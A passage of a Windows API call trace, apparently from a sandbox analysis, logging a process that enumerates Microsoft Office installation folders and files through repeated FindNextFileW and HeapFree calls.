	[0139.399] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0139.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0139.400] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0139.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0139.401] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0139.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0139.406] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0139.406] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0139.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0139.407] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0139.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0139.414] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0139.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0139.419] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0140.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0140.164] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0141.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0141.200] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0141.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0141.217] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0141.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0141.320] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0141.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0141.321] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0141.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0141.326] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0141.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0141.327] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0141.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0141.331] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0141.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.360] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0141.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.386] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0141.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.390] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0141.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.576] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0141.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.595] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0141.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.603] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0141.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.607] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0141.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.611] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0141.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.615] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0141.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.622] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0141.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.625] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0141.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.627] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0141.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.661] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0141.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.665] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0141.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.672] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0141.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.696] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0141.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.699] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0141.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.702] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0141.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.706] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0141.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.710] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0141.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.713] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0141.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46904c0 | out: hHeap=0x4f0000) returned 1
	[0141.826] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0141.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0141.893] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0141.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0141.925] FindNextFileW (in: hFindFile=0x5dd880, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
